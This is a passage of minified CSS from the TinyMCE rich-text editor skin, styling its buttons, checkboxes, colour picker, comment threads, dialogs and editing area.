UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;overflow:hidden;position:relative;visibility:inherit!important}.tox-tinymce-inline{border:none;box-shadow:none}.tox-tinymce-inline .tox-editor-header{background-color:transparent;border:1px solid #ccc;border-radius:0;box-shadow:none}.tox-tinymce-aux{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;z-index:1300}.tox-tinymce :focus,.tox-tinymce-aux :focus{outline:0}button::-moz-focus-inner{border:0}.tox[dir=rtl] .tox-icon--flip svg{transform:rotateY(180deg)}.tox .accessibility-issue__header{align-items:center;display:flex;margin-bottom:4px}.tox .accessibility-issue__description{align-items:stretch;border:1px solid #ccc;border-radius:3px;display:flex;justify-content:space-between}.tox .accessibility-issue__description>div{padding-bottom:4px}.tox .accessibility-issue__description>div>div{align-items:center;display:flex;margin-bottom:4px}.tox .accessibility-issue__description>:last-child:not(:only-child){border-color:#ccc;border-style:solid}.tox .accessibility-issue__repair{margin-top:16px}.tox .tox-dialog__body-content .accessibility-issue--info .accessibility-issue__description{background-color:rgba(32,122,183,.1);border-color:rgba(32,122,183,.4);color:#222f3e}.tox .tox-dialog__body-content .accessibility-issue--info .accessibility-issue__description>:last-child{border-color:rgba(32,122,183,.4)}.tox .tox-dialog__body-content .accessibility-issue--info .tox-form__group h2{color:#207ab7}.tox .tox-dialog__body-content .accessibility-issue--info .tox-icon svg{fill:#207ab7}.tox .tox-dialog__body-content .accessibility-issue--info a .tox-icon{color:#207ab7}.tox .tox-dialog__body-content .accessibility-issue--warn .accessibility-issue__description{background-color:rgba(255,165,0,.1);border-color:rgba(255,165,0,.5);color:#222f3e}.tox .tox-dialog__body-content .accessibility-issue--warn .accessibility-issue__description>:last-child{border-color:rgba(255,165,0,.5)}.tox .tox-dialog__body-content .accessibility-issue--warn .tox-form__group h2{color:#cc8500}.tox .tox-dialog__body-content .accessibility-issue--warn .tox-icon svg{fill:#cc8500}.tox .tox-dialog__body-content .accessibility-issue--warn a .tox-icon{color:#cc8500}.tox .tox-dialog__body-content .accessibility-issue--error .accessibility-issue__description{background-color:rgba(204,0,0,.1);border-color:rgba(204,0,0,.4);color:#222f3e}.tox .tox-dialog__body-content .accessibility-issue--error .accessibility-issue__description>:last-child{border-color:rgba(204,0,0,.4)}.tox .tox-dialog__body-content .accessibility-issue--error .tox-form__group h2{color:#c00}.tox .tox-dialog__body-content .accessibility-issue--error .tox-icon svg{fill:#c00}.tox .tox-dialog__body-content .accessibility-issue--error a .tox-icon{color:#c00}.tox .tox-dialog__body-content .accessibility-issue--success .accessibility-issue__description{background-color:rgba(120,171,70,.1);border-color:rgba(120,171,70,.4);color:#222f3e}.tox .tox-dialog__body-content .accessibility-issue--success .accessibility-issue__description>:last-child{border-color:rgba(120,171,70,.4)}.tox .tox-dialog__body-content .accessibility-issue--success .tox-form__group h2{color:#78ab46}.tox .tox-dialog__body-content .accessibility-issue--success .tox-icon svg{fill:#78ab46}.tox .tox-dialog__body-content .accessibility-issue--success a .tox-icon{color:#78ab46}.tox .tox-dialog__body-content .accessibility-issue__header h1,.tox .tox-dialog__body-content .tox-form__group .accessibility-issue__description h2{margin-top:0}.tox:not([dir=rtl]) .tox-dialog__body-content .accessibility-issue__header .tox-button{margin-left:4px}.tox:not([dir=rtl]) .tox-dialog__body-content .accessibility-issue__header>:nth-last-child(2){margin-left:auto}.tox:not([dir=rtl]) .tox-dialog__body-content .accessibility-issue__description{padding:4px 4px 4px 8px}.tox:not([dir=rtl]) .tox-dialog__body-content .accessibility-issue__description>:last-child{border-left-width:1px;padding-left:4px}.tox[dir=rtl] .tox-dialog__body-content .accessibility-issue__header .tox-button{margin-right:4px}.tox[dir=rtl] .tox-dialog__body-content .accessibility-issue__header>:nth-last-child(2){margin-right:auto}.tox[dir=rtl] .tox-dialog__body-content .accessibility-issue__description{padding:4px 8px 4px 4px}.tox[dir=rtl] .tox-dialog__body-content .accessibility-issue__description>:last-child{border-right-width:1px;padding-right:4px}.tox .tox-anchorbar{display:flex;flex:0 0 auto}.tox .tox-bar{display:flex;flex:0 0 auto}.tox .tox-button{background-color:#207ab7;background-image:none;background-position:0 0;background-repeat:repeat;border-color:#207ab7;border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;color:#fff;cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:14px;font-style:normal;font-weight:700;letter-spacing:normal;line-height:24px;margin:0;outline:0;padding:4px 16px;text-align:center;text-decoration:none;text-transform:none;white-space:nowrap}.tox .tox-button[disabled]{background-color:#207ab7;background-image:none;border-color:#207ab7;box-shadow:none;color:rgba(255,255,255,.5);cursor:not-allowed}.tox .tox-button:focus:not(:disabled){background-color:#1c6ca1;background-image:none;border-color:#1c6ca1;box-shadow:none;color:#fff}.tox .tox-button:hover:not(:disabled){background-color:#1c6ca1;background-image:none;border-color:#1c6ca1;box-shadow:none;color:#fff}.tox .tox-button:active:not(:disabled){background-color:#185d8c;background-image:none;border-color:#185d8c;box-shadow:none;color:#fff}.tox .tox-button--secondary{background-color:#f0f0f0;background-image:none;background-position:0 0;background-repeat:repeat;border-color:#f0f0f0;border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;color:#222f3e;font-size:14px;font-style:normal;font-weight:700;letter-spacing:normal;outline:0;padding:4px 16px;text-decoration:none;text-transform:none}.tox .tox-button--secondary[disabled]{background-color:#f0f0f0;background-image:none;border-color:#f0f0f0;box-shadow:none;color:rgba(34,47,62,.5)}.tox .tox-button--secondary:focus:not(:disabled){background-color:#e3e3e3;background-image:none;border-color:#e3e3e3;box-shadow:none;color:#222f3e}.tox .tox-button--secondary:hover:not(:disabled){background-color:#e3e3e3;background-image:none;border-color:#e3e3e3;box-shadow:none;color:#222f3e}.tox .tox-button--secondary:active:not(:disabled){background-color:#d6d6d6;background-image:none;border-color:#d6d6d6;box-shadow:none;color:#222f3e}.tox .tox-button--icon,.tox .tox-button.tox-button--icon,.tox .tox-button.tox-button--secondary.tox-button--icon{padding:4px}.tox .tox-button--icon .tox-icon svg,.tox .tox-button.tox-button--icon .tox-icon svg,.tox .tox-button.tox-button--secondary.tox-button--icon .tox-icon svg{display:block;fill:currentColor}.tox .tox-button-link{background:0;border:none;box-sizing:border-box;cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:16px;font-weight:400;line-height:1.3;margin:0;padding:0;white-space:nowrap}.tox .tox-button-link--sm{font-size:14px}.tox .tox-button--naked{background-color:transparent;border-color:transparent;box-shadow:unset;color:#222f3e}.tox .tox-button--naked[disabled]{background-color:#f0f0f0;border-color:#f0f0f0;box-shadow:none;color:rgba(34,47,62,.5)}.tox .tox-button--naked:hover:not(:disabled){background-color:#e3e3e3;border-color:#e3e3e3;box-shadow:none;color:#222f3e}.tox .tox-button--naked:focus:not(:disabled){background-color:#e3e3e3;border-color:#e3e3e3;box-shadow:none;color:#222f3e}.tox .tox-button--naked:active:not(:disabled){background-color:#d6d6d6;border-color:#d6d6d6;box-shadow:none;color:#222f3e}.tox .tox-button--naked .tox-icon svg{fill:currentColor}.tox .tox-button--naked.tox-button--icon:hover:not(:disabled){color:#222f3e}.tox .tox-checkbox{align-items:center;border-radius:3px;cursor:pointer;display:flex;height:36px;min-width:36px}.tox .tox-checkbox__input{height:1px;overflow:hidden;position:absolute;top:auto;width:1px}.tox .tox-checkbox__icons{align-items:center;border-radius:3px;box-shadow:0 0 0 2px transparent;box-sizing:content-box;display:flex;height:24px;justify-content:center;padding:calc(4px - 1px);width:24px}.tox .tox-checkbox__icons .tox-checkbox-icon__unchecked svg{display:block;fill:rgba(34,47,62,.3)}.tox .tox-checkbox__icons .tox-checkbox-icon__indeterminate svg{display:none;fill:#207ab7}.tox .tox-checkbox__icons .tox-checkbox-icon__checked svg{display:none;fill:#207ab7}.tox .tox-checkbox--disabled{color:rgba(34,47,62,.5);cursor:not-allowed}.tox .tox-checkbox--disabled .tox-checkbox__icons .tox-checkbox-icon__checked svg{fill:rgba(34,47,62,.5)}.tox .tox-checkbox--disabled .tox-checkbox__icons .tox-checkbox-icon__unchecked svg{fill:rgba(34,47,62,.5)}.tox .tox-checkbox--disabled .tox-checkbox__icons .tox-checkbox-icon__indeterminate svg{fill:rgba(34,47,62,.5)}.tox input.tox-checkbox__input:checked+.tox-checkbox__icons .tox-checkbox-icon__unchecked svg{display:none}.tox input.tox-checkbox__input:checked+.tox-checkbox__icons .tox-checkbox-icon__checked svg{display:block}.tox input.tox-checkbox__input:indeterminate+.tox-checkbox__icons .tox-checkbox-icon__unchecked svg{display:none}.tox input.tox-checkbox__input:indeterminate+.tox-checkbox__icons .tox-checkbox-icon__indeterminate svg{display:block}.tox input.tox-checkbox__input:focus+.tox-checkbox__icons{border-radius:3px;box-shadow:inset 0 0 0 1px #207ab7;padding:calc(4px - 1px)}.tox:not([dir=rtl]) .tox-checkbox__label{margin-left:4px}.tox:not([dir=rtl]) .tox-checkbox__input{left:-10000px}.tox:not([dir=rtl]) .tox-bar .tox-checkbox{margin-left:4px}.tox[dir=rtl] .tox-checkbox__label{margin-right:4px}.tox[dir=rtl] .tox-checkbox__input{right:-10000px}.tox[dir=rtl] .tox-bar .tox-checkbox{margin-right:4px}.tox .tox-collection--toolbar .tox-collection__group{display:flex;padding:0}.tox .tox-collection--grid .tox-collection__group{display:flex;flex-wrap:wrap;max-height:208px;overflow-x:hidden;overflow-y:auto;padding:0}.tox .tox-collection--list .tox-collection__group{border-bottom-width:0;border-color:#ccc;border-left-width:0;border-right-width:0;border-style:solid;border-top-width:1px;padding:4px 0}.tox .tox-collection--list .tox-collection__group:first-child{border-top-width:0}.tox .tox-collection__group-heading{background-color:#e6e6e6;color:rgba(34,47,62,.7);cursor:default;font-size:12px;font-style:normal;font-weight:400;margin-bottom:4px;margin-top:-4px;padding:4px 8px;text-transform:none;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.tox .tox-collection__item{align-items:center;color:#222f3e;cursor:pointer;display:flex;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.tox .tox-collection--list .tox-collection__item{padding:4px 8px}.tox .tox-collection--toolbar .tox-collection__item{border-radius:3px;padding:4px}.tox .tox-collection--grid .tox-collection__item{border-radius:3px;padding:4px}.tox .tox-collection--list .tox-collection__item--enabled{background-color:#fff;color:#222f3e}.tox .tox-collection--list .tox-collection__item--active{background-color:#dee0e2}.tox .tox-collection--toolbar .tox-collection__item--enabled{background-color:#c8cbcf;color:#222f3e}.tox .tox-collection--toolbar .tox-collection__item--active{background-color:#dee0e2}.tox .tox-collection--grid .tox-collection__item--enabled{background-color:#c8cbcf;color:#222f3e}.tox .tox-collection--grid .tox-collection__item--active:not(.tox-collection__item--state-disabled){background-color:#dee0e2;color:#222f3e}.tox .tox-collection--list .tox-collection__item--active:not(.tox-collection__item--state-disabled){color:#222f3e}.tox .tox-collection--toolbar .tox-collection__item--active:not(.tox-collection__item--state-disabled){color:#222f3e}.tox .tox-collection__item-checkmark,.tox .tox-collection__item-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.tox .tox-collection__item-checkmark svg,.tox .tox-collection__item-icon svg{fill:currentColor}.tox .tox-collection--toolbar-lg .tox-collection__item-icon{height:48px;width:48px}.tox .tox-collection__item-label{color:currentColor;display:inline-block;flex:1;-ms-flex-preferred-size:auto;font-size:14px;font-style:normal;font-weight:400;line-height:24px;text-transform:none;word-break:break-all}.tox .tox-collection__item-accessory{color:rgba(34,47,62,.7);display:inline-block;font-size:14px;height:24px;line-height:24px;text-transform:none}.tox .tox-collection__item-caret{align-items:center;display:flex;min-height:24px}.tox .tox-collection__item-caret::after{content:'';font-size:0;min-height:inherit}.tox .tox-collection__item-caret svg{fill:#222f3e}.tox .tox-collection__item--state-disabled{background-color:transparent;color:rgba(34,47,62,.5);cursor:not-allowed}.tox .tox-collection__item--state-disabled .tox-collection__item-caret svg{fill:rgba(34,47,62,.5)}.tox .tox-collection--list .tox-collection__item:not(.tox-collection__item--enabled) .tox-collection__item-checkmark svg{display:none}.tox .tox-collection--list .tox-collection__item:not(.tox-collection__item--enabled) .tox-collection__item-accessory+.tox-collection__item-checkmark{display:none}.tox .tox-collection--horizontal{background-color:#fff;border:1px solid #ccc;border-radius:3px;box-shadow:0 1px 3px rgba(0,0,0,.15);display:flex;flex:0 0 auto;flex-shrink:0;flex-wrap:nowrap;margin-bottom:0;overflow-x:auto;padding:0}.tox .tox-collection--horizontal .tox-collection__group{align-items:center;display:flex;flex-wrap:nowrap;margin:0;padding:0 4px}.tox .tox-collection--horizontal .tox-collection__item{height:34px;margin:2px 0 3px 0;padding:0 4px}.tox .tox-collection--horizontal .tox-collection__item-label{white-space:nowrap}.tox .tox-collection--horizontal .tox-collection__item-caret{margin-left:4px}.tox .tox-collection__item-container{display:flex}.tox .tox-collection__item-container--row{align-items:center;flex:1 1 auto;flex-direction:row}.tox .tox-collection__item-container--row.tox-collection__item-container--align-left{margin-right:auto}.tox .tox-collection__item-container--row.tox-collection__item-container--align-right{justify-content:flex-end;margin-left:auto}.tox .tox-collection__item-container--row.tox-collection__item-container--valign-top{align-items:flex-start;margin-bottom:auto}.tox .tox-collection__item-container--row.tox-collection__item-container--valign-middle{align-items:center}.tox .tox-collection__item-container--row.tox-collection__item-container--valign-bottom{align-items:flex-end;margin-top:auto}.tox .tox-collection__item-container--column{-ms-grid-row-align:center;align-self:center;flex:1 1 auto;flex-direction:column}.tox .tox-collection__item-container--column.tox-collection__item-container--align-left{align-items:flex-start}.tox .tox-collection__item-container--column.tox-collection__item-container--align-right{align-items:flex-end}.tox .tox-collection__item-container--column.tox-collection__item-container--valign-top{align-self:flex-start}.tox .tox-collection__item-container--column.tox-collection__item-container--valign-middle{-ms-grid-row-align:center;align-self:center}.tox .tox-collection__item-container--column.tox-collection__item-container--valign-bottom{align-self:flex-end}.tox:not([dir=rtl]) .tox-collection--horizontal .tox-collection__group:not(:last-of-type){border-right:1px solid #ccc}.tox:not([dir=rtl]) .tox-collection--list .tox-collection__item>:not(:first-child){margin-left:8px}.tox:not([dir=rtl]) .tox-collection--list .tox-collection__item>.tox-collection__item-label:first-child{margin-left:4px}.tox:not([dir=rtl]) .tox-collection__item-accessory{margin-left:16px;text-align:right}.tox:not([dir=rtl]) .tox-collection .tox-collection__item-caret{margin-left:16px}.tox[dir=rtl] .tox-collection--horizontal .tox-collection__group:not(:last-of-type){border-left:1px solid #ccc}.tox[dir=rtl] .tox-collection--list .tox-collection__item>:not(:first-child){margin-right:8px}.tox[dir=rtl] .tox-collection--list .tox-collection__item>.tox-collection__item-label:first-child{margin-right:4px}.tox[dir=rtl] .tox-collection__item-accessory{margin-right:16px;text-align:left}.tox[dir=rtl] .tox-collection .tox-collection__item-caret{margin-right:16px;transform:rotateY(180deg)}.tox[dir=rtl] .tox-collection--horizontal .tox-collection__item-caret{margin-right:4px}.tox .tox-color-picker-container{display:flex;flex-direction:row;height:225px;margin:0}.tox .tox-sv-palette{box-sizing:border-box;display:flex;height:100%}.tox .tox-sv-palette-spectrum{height:100%}.tox .tox-sv-palette,.tox .tox-sv-palette-spectrum{width:225px}.tox .tox-sv-palette-thumb{background:0 0;border:1px solid #000;border-radius:50%;box-sizing:content-box;height:12px;position:absolute;width:12px}.tox .tox-sv-palette-inner-thumb{border:1px solid #fff;border-radius:50%;height:10px;position:absolute;width:10px}.tox .tox-hue-slider{box-sizing:border-box;height:100%;width:25px}.tox .tox-hue-slider-spectrum{background:linear-gradient(to bottom,red,#ff0080,#f0f,#8000ff,#00f,#0080ff,#0ff,#00ff80,#0f0,#80ff00,#ff0,#ff8000,red);height:100%;width:100%}.tox .tox-hue-slider,.tox .tox-hue-slider-spectrum{width:20px}.tox .tox-hue-slider-thumb{background:#fff;border:1px solid #000;box-sizing:content-box;height:4px;width:100%}.tox .tox-rgb-form{display:flex;flex-direction:column;justify-content:space-between}.tox .tox-rgb-form div{align-items:center;display:flex;justify-content:space-between;margin-bottom:5px;width:inherit}.tox .tox-rgb-form input{width:6em}.tox .tox-rgb-form input.tox-invalid{border:1px solid red!important}.tox .tox-rgb-form .tox-rgba-preview{border:1px solid #000;flex-grow:2;margin-bottom:0}.tox:not([dir=rtl]) .tox-sv-palette{margin-right:15px}.tox:not([dir=rtl]) .tox-hue-slider{margin-right:15px}.tox:not([dir=rtl]) .tox-hue-slider-thumb{margin-left:-1px}.tox:not([dir=rtl]) .tox-rgb-form label{margin-right:.5em}.tox[dir=rtl] .tox-sv-palette{margin-left:15px}.tox[dir=rtl] .tox-hue-slider{margin-left:15px}.tox[dir=rtl] .tox-hue-slider-thumb{margin-right:-1px}.tox[dir=rtl] .tox-rgb-form label{margin-left:.5em}.tox .tox-toolbar .tox-swatches,.tox .tox-toolbar__overflow .tox-swatches,.tox .tox-toolbar__primary .tox-swatches{margin:2px 0 3px 4px}.tox .tox-collection--list .tox-collection__group .tox-swatches-menu{border:0;margin:-4px 0}.tox .tox-swatches__row{display:flex}.tox .tox-swatch{height:30px;transition:transform .15s,box-shadow .15s;width:30px}.tox .tox-swatch:focus,.tox .tox-swatch:hover{box-shadow:0 0 0 1px rgba(127,127,127,.3) inset;transform:scale(.8)}.tox .tox-swatch--remove{align-items:center;display:flex;justify-content:center}.tox .tox-swatch--remove svg path{stroke:#e74c3c}.tox .tox-swatches__picker-btn{align-items:center;background-color:transparent;border:0;cursor:pointer;display:flex;height:30px;justify-content:center;outline:0;padding:0;width:30px}.tox .tox-swatches__picker-btn svg{height:24px;width:24px}.tox .tox-swatches__picker-btn:hover{background:#dee0e2}.tox:not([dir=rtl]) .tox-swatches__picker-btn{margin-left:auto}.tox[dir=rtl] .tox-swatches__picker-btn{margin-right:auto}.tox .tox-comment-thread{background:#fff;position:relative}.tox .tox-comment-thread>:not(:first-child){margin-top:8px}.tox .tox-comment{background:#fff;border:1px solid #ccc;border-radius:3px;box-shadow:0 4px 8px 0 rgba(34,47,62,.1);padding:8px 8px 16px 8px;position:relative}.tox .tox-comment__header{align-items:center;color:#222f3e;display:flex;justify-content:space-between}.tox .tox-comment__date{color:rgba(34,47,62,.7);font-size:12px}.tox .tox-comment__body{color:#222f3e;font-size:14px;font-style:normal;font-weight:400;line-height:1.3;margin-top:8px;position:relative;text-transform:initial}.tox .tox-comment__body textarea{resize:none;white-space:normal;width:100%}.tox .tox-comment__expander{padding-top:8px}.tox .tox-comment__expander p{color:rgba(34,47,62,.7);font-size:14px;font-style:normal}.tox .tox-comment__body p{margin:0}.tox .tox-comment__buttonspacing{padding-top:16px;text-align:center}.tox .tox-comment-thread__overlay::after{background:#fff;bottom:0;content:"";display:flex;left:0;opacity:.9;position:absolute;right:0;top:0;z-index:5}.tox .tox-comment__reply{display:flex;flex-shrink:0;flex-wrap:wrap;justify-content:flex-end;margin-top:8px}.tox .tox-comment__reply>:first-child{margin-bottom:8px;width:100%}.tox .tox-comment__edit{display:flex;flex-wrap:wrap;justify-content:flex-end;margin-top:16px}.tox .tox-comment__gradient::after{background:linear-gradient(rgba(255,255,255,0),#fff);bottom:0;content:"";display:block;height:5em;margin-top:-40px;position:absolute;width:100%}.tox .tox-comment__overlay{background:#fff;bottom:0;display:flex;flex-direction:column;flex-grow:1;left:0;opacity:.9;position:absolute;right:0;text-align:center;top:0;z-index:5}.tox .tox-comment__loading-text{align-items:center;color:#222f3e;display:flex;flex-direction:column;position:relative}.tox .tox-comment__loading-text>div{padding-bottom:16px}.tox .tox-comment__overlaytext{bottom:0;flex-direction:column;font-size:14px;left:0;padding:1em;position:absolute;right:0;top:0;z-index:10}.tox .tox-comment__overlaytext p{background-color:#fff;box-shadow:0 0 8px 8px #fff;color:#222f3e;text-align:center}.tox .tox-comment__overlaytext div:nth-of-type(2){font-size:.8em}.tox .tox-comment__busy-spinner{align-items:center;background-color:#fff;bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0;z-index:20}.tox .tox-comment__scroll{display:flex;flex-direction:column;flex-shrink:1;overflow:auto}.tox .tox-conversations{margin:8px}.tox:not([dir=rtl]) .tox-comment__edit{margin-left:8px}.tox:not([dir=rtl]) .tox-comment__buttonspacing>:last-child,.tox:not([dir=rtl]) .tox-comment__edit>:last-child,.tox:not([dir=rtl]) .tox-comment__reply>:last-child{margin-left:8px}.tox[dir=rtl] .tox-comment__edit{margin-right:8px}.tox[dir=rtl] .tox-comment__buttonspacing>:last-child,.tox[dir=rtl] .tox-comment__edit>:last-child,.tox[dir=rtl] .tox-comment__reply>:last-child{margin-right:8px}.tox .tox-user{align-items:center;display:flex}.tox .tox-user__avatar svg{fill:rgba(34,47,62,.7)}.tox .tox-user__name{color:rgba(34,47,62,.7);font-size:12px;font-style:normal;font-weight:700;text-transform:uppercase}.tox:not([dir=rtl]) .tox-user__avatar svg{margin-right:8px}.tox:not([dir=rtl]) .tox-user__avatar+.tox-user__name{margin-left:8px}.tox[dir=rtl] .tox-user__avatar svg{margin-left:8px}.tox[dir=rtl] .tox-user__avatar+.tox-user__name{margin-right:8px}.tox .tox-dialog-wrap{align-items:center;bottom:0;display:flex;justify-content:center;left:0;position:fixed;right:0;top:0;z-index:1100}.tox .tox-dialog-wrap__backdrop{background-color:rgba(255,255,255,.75);bottom:0;left:0;position:absolute;right:0;top:0;z-index:1}.tox .tox-dialog-wrap__backdrop--opaque{background-color:#fff}.tox .tox-dialog{background-color:#fff;border-color:#ccc;border-radius:3px;border-style:solid;border-width:1px;box-shadow:0 16px 16px -10px rgba(34,47,62,.15),0 0 40px 1px rgba(34,47,62,.15);display:flex;flex-direction:column;max-height:100%;max-width:480px;overflow:hidden;position:relative;width:95vw;z-index:2}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox .tox-dialog{align-self:flex-start;margin:8px auto;width:calc(100vw - 16px)}}.tox .tox-dialog-inline{z-index:1100}.tox .tox-dialog__header{align-items:center;background-color:#fff;border-bottom:none;color:#222f3e;display:flex;font-size:16px;justify-content:space-between;padding:8px 16px 0 16px;position:relative}.tox .tox-dialog__header .tox-button{z-index:1}.tox .tox-dialog__draghandle{cursor:grab;height:100%;left:0;position:absolute;top:0;width:100%}.tox .tox-dialog__draghandle:active{cursor:grabbing}.tox .tox-dialog__dismiss{margin-left:auto}.tox .tox-dialog__title{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:20px;font-style:normal;font-weight:400;line-height:1.3;margin:0;text-transform:none}.tox .tox-dialog__body{color:#222f3e;display:flex;flex:1;-ms-flex-preferred-size:auto;font-size:16px;font-style:normal;font-weight:400;line-height:1.3;min-width:0;text-align:left;text-transform:none}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox .tox-dialog__body{flex-direction:column}}.tox .tox-dialog__body-nav{align-items:flex-start;display:flex;flex-direction:column;padding:16px 16px}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox .tox-dialog__body-nav{flex-direction:row;-webkit-overflow-scrolling:touch;overflow-x:auto;padding-bottom:0}}.tox .tox-dialog__body-nav-item{border-bottom:2px solid transparent;color:rgba(34,47,62,.7);display:inline-block;font-size:14px;line-height:1.3;margin-bottom:8px;text-decoration:none;white-space:nowrap}.tox .tox-dialog__body-nav-item:focus{background-color:rgba(32,122,183,.1)}.tox .tox-dialog__body-nav-item--active{border-bottom:2px solid #207ab7;color:#207ab7}.tox .tox-dialog__body-content{box-sizing:border-box;display:flex;flex:1;flex-direction:column;-ms-flex-preferred-size:auto;max-height:650px;overflow:auto;-webkit-overflow-scrolling:touch;padding:16px 16px}.tox .tox-dialog__body-content>*{margin-bottom:0;margin-top:16px}.tox .tox-dialog__body-content>:first-child{margin-top:0}.tox .tox-dialog__body-content>:last-child{margin-bottom:0}.tox .tox-dialog__body-content>:only-child{margin-bottom:0;margin-top:0}.tox .tox-dialog__body-content a{color:#207ab7;cursor:pointer;text-decoration:none}.tox .tox-dialog__body-content a:focus,.tox .tox-dialog__body-content a:hover{color:#185d8c;text-decoration:none}.tox .tox-dialog__body-content a:active{color:#185d8c;text-decoration:none}.tox .tox-dialog__body-content svg{fill:#222f3e}.tox .tox-dialog__body-content ul{display:block;list-style-type:disc;margin-bottom:16px;-webkit-margin-end:0;margin-inline-end:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-padding-start:2.5rem;padding-inline-start:2.5rem}.tox .tox-dialog__body-content .tox-form__group h1{color:#222f3e;font-size:20px;font-style:normal;font-weight:700;letter-spacing:normal;margin-bottom:16px;margin-top:2rem;text-transform:none}.tox .tox-dialog__body-content .tox-form__group h2{color:#222f3e;font-size:16px;font-style:normal;font-weight:700;letter-spacing:normal;margin-bottom:16px;margin-top:2rem;text-transform:none}.tox .tox-dialog__body-content .tox-form__group p{margin-bottom:16px}.tox .tox-dialog__body-content .tox-form__group h1:first-child,.tox .tox-dialog__body-content .tox-form__group h2:first-child,.tox .tox-dialog__body-content .tox-form__group p:first-child{margin-top:0}.tox .tox-dialog__body-content .tox-form__group h1:last-child,.tox .tox-dialog__body-content .tox-form__group h2:last-child,.tox .tox-dialog__body-content .tox-form__group p:last-child{margin-bottom:0}.tox .tox-dialog__body-content .tox-form__group h1:only-child,.tox .tox-dialog__body-content .tox-form__group h2:only-child,.tox .tox-dialog__body-content .tox-form__group p:only-child{margin-bottom:0;margin-top:0}.tox .tox-dialog--width-lg{height:650px;max-width:1200px}.tox .tox-dialog--width-md{max-width:800px}.tox .tox-dialog--width-md .tox-dialog__body-content{overflow:auto}.tox .tox-dialog__body-content--centered{text-align:center}.tox .tox-dialog__footer{align-items:center;background-color:#fff;border-top:1px solid #ccc;display:flex;justify-content:space-between;padding:8px 16px}.tox .tox-dialog__footer-end,.tox .tox-dialog__footer-start{display:flex}.tox .tox-dialog__busy-spinner{align-items:center;background-color:rgba(255,255,255,.75);bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0;z-index:3}.tox .tox-dialog__table{border-collapse:collapse;width:100%}.tox .tox-dialog__table thead th{font-weight:700;padding-bottom:8px}.tox .tox-dialog__table tbody tr{border-bottom:1px solid #ccc}.tox .tox-dialog__table tbody tr:last-child{border-bottom:none}.tox .tox-dialog__table td{padding-bottom:8px;padding-top:8px}.tox .tox-dialog__popups{position:absolute;width:100%;z-index:1100}.tox .tox-dialog__body-iframe{display:flex;flex:1;flex-direction:column;-ms-flex-preferred-size:auto}.tox .tox-dialog__body-iframe .tox-navobj{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-dialog__body-iframe .tox-navobj :nth-child(2){flex:1;-ms-flex-preferred-size:auto;height:100%}.tox .tox-dialog-dock-fadeout{opacity:0;visibility:hidden}.tox .tox-dialog-dock-fadein{opacity:1;visibility:visible}.tox .tox-dialog-dock-transition{transition:visibility 0s linear .3s,opacity .3s ease}.tox .tox-dialog-dock-transition.tox-dialog-dock-fadein{transition-delay:0s}.tox.tox-platform-ie .tox-dialog-wrap{position:-ms-device-fixed}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox:not([dir=rtl]) .tox-dialog__body-nav{margin-right:0}}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox:not([dir=rtl]) .tox-dialog__body-nav-item:not(:first-child){margin-left:8px}}.tox:not([dir=rtl]) .tox-dialog__footer .tox-dialog__footer-end>*,.tox:not([dir=rtl]) .tox-dialog__footer .tox-dialog__footer-start>*{margin-left:8px}.tox[dir=rtl] .tox-dialog__body{text-align:right}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox[dir=rtl] .tox-dialog__body-nav{margin-left:0}}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox[dir=rtl] .tox-dialog__body-nav-item:not(:first-child){margin-right:8px}}.tox[dir=rtl] .tox-dialog__footer .tox-dialog__footer-end>*,.tox[dir=rtl] .tox-dialog__footer .tox-dialog__footer-start>*{margin-right:8px}body.tox-dialog__disable-scroll{overflow:hidden}.tox .tox-dropzone-container{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-dropzone{align-items:center;background:#fff;border:2px dashed #ccc;box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;min-height:100px;padding:10px}.tox .tox-dropzone p{color:rgba(34,47,62,.7);margin:0 0 16px 0}.tox .tox-edit-area{display:flex;flex:1;-ms-flex-preferred-size:auto;overflow:hidden;position:relative}.tox .tox-edit-area__iframe{background-color:#fff;border:0;box-sizing:border-box;flex:1;-ms-flex-preferred-size:auto;height:100%;position:absolute;width:100%}.tox.tox-inline-edit-area{border:1px dotted #ccc}.tox .tox-editor-container{display:flex;flex:1 1 auto;flex-direction:column;overflow:hidden}.tox .tox-editor-header{z-index:1}.tox:not(.tox-tinymce-inline) .tox-editor-header{box-shadow:none;transition:box-shadow .5s}.tox.tox-tinymce--toolbar-bottom .tox-editor-header,.tox.tox-tinymce-inline .tox-editor-header{margin-bottom:-1px}.tox.tox-tinymce--toolbar-sticky-on .tox-editor-header{background-color:transparent;box-shadow:0 4px 4px -3px rgba(0,0,0,.25)}.tox-editor-dock-fadeout{opacity:0;visibility:hidden}.tox-editor-dock-fadein{opacity:1;visibility:visible}.tox-editor-dock-transition{transition:visibility 0s linear .25s,opacity .25s ease}.tox-editor-dock-transition.tox-editor-dock-fadein{transition-delay:0s}.tox .tox-control-wrap{flex:1;position:relative}.tox 